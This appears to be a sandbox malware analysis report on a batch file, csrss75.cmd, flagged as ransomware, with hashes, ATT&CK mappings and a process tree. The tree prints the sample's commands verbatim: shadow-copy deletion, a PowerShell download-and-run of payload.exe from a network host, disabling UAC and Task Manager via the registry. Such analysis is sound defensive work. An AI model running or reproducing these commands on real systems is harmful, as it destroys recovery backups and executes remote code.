c4e1f81467556d210fcb9ab0c4eb97641c78790e5dfeede47cde0195c853ab23

Analysis

max time kernel
149s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 21:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
csrss75.cmd
Size 436B
Sample260529-1synpshs7l
SHA256 c4e1f81467556d210fcb9ab0c4eb97641c78790e5dfeede47cde0195c853ab23
MD5 9ec3e55c87005137ce5bc498c475c064
SHA1 773ad2bd7f79c5cb33abdead5f4b1c89c36fdc4e
SHA512 ec74b4a4e6cd85c50e9feb14bcc689af3e82caa452f9305df20d3762d8608eb1ac7aee92ca326f0b9773168cfccb4f6c0fe8aaf94856a3aa294c4a0a0f889cbb
TLSH
T160E0A32012048676E672FA24A4499553EA77A2CF782A66D2A69530025C2704DC7F85CF
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution impact ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2528	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4972	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2528	powershell.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4888	WMIC.exe
Token: SeSecurityPrivilege	4888	WMIC.exe
Token: SeTakeOwnershipPrivilege	4888	WMIC.exe
Token: SeLoadDriverPrivilege	4888	WMIC.exe
Token: SeSystemProfilePrivilege	4888	WMIC.exe
Token: SeSystemtimePrivilege	4888	WMIC.exe
Token: SeProfSingleProcessPrivilege	4888	WMIC.exe
Token: SeIncBasePriorityPrivilege	4888	WMIC.exe
Token: SeCreatePagefilePrivilege	4888	WMIC.exe
Token: SeBackupPrivilege	4888	WMIC.exe
Token: SeRestorePrivilege	4888	WMIC.exe
Token: SeShutdownPrivilege	4888	WMIC.exe
Token: SeDebugPrivilege	4888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4888	WMIC.exe
Token: SeRemoteShutdownPrivilege	4888	WMIC.exe
Token: SeUndockPrivilege	4888	WMIC.exe
Token: SeManageVolumePrivilege	4888	WMIC.exe
Token: 33	4888	WMIC.exe
Token: 34	4888	WMIC.exe
Token: 35	4888	WMIC.exe
Token: 36	4888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4888	WMIC.exe
Token: SeSecurityPrivilege	4888	WMIC.exe
Token: SeTakeOwnershipPrivilege	4888	WMIC.exe
Token: SeLoadDriverPrivilege	4888	WMIC.exe
Token: SeSystemProfilePrivilege	4888	WMIC.exe
Token: SeSystemtimePrivilege	4888	WMIC.exe
Token: SeProfSingleProcessPrivilege	4888	WMIC.exe
Token: SeIncBasePriorityPrivilege	4888	WMIC.exe
Token: SeCreatePagefilePrivilege	4888	WMIC.exe
Token: SeBackupPrivilege	4888	WMIC.exe
Token: SeRestorePrivilege	4888	WMIC.exe
Token: SeShutdownPrivilege	4888	WMIC.exe
Token: SeDebugPrivilege	4888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4888	WMIC.exe
Token: SeRemoteShutdownPrivilege	4888	WMIC.exe
Token: SeUndockPrivilege	4888	WMIC.exe
Token: SeManageVolumePrivilege	4888	WMIC.exe
Token: 33	4888	WMIC.exe
Token: 34	4888	WMIC.exe
Token: 35	4888	WMIC.exe
Token: 36	4888	WMIC.exe
Token: SeBackupPrivilege	3004	vssvc.exe
Token: SeRestorePrivilege	3004	vssvc.exe
Token: SeAuditPrivilege	3004	vssvc.exe
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 4888	652	cmd.exe	81
PID 652 wrote to memory of 4972	652	cmd.exe	85
PID 652 wrote to memory of 2528	652	cmd.exe	86
PID 652 wrote to memory of 2000	652	cmd.exe	87
PID 652 wrote to memory of 2056	652	cmd.exe	88

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\csrss75.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri http://192.168.1.100/payload.exe -OutFile C:\Users\Admin\AppData\Local\Temp\update.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\update.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:2000
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ruun33vi.oik.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ruun33vi.oik.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2528-0-0x00000204342A0000-0x00000204342B0000-memory.dmp

Download

memory/2528-1-0x00000204342A0000-0x00000204342B0000-memory.dmp

Download

memory/2528-7-0x0000020434270000-0x0000020434292000-memory.dmp

Download

memory/2528-9-0x00000204342A0000-0x00000204342B0000-memory.dmp

Download

memory/2528-10-0x00000204342A0000-0x00000204342B0000-memory.dmp

Download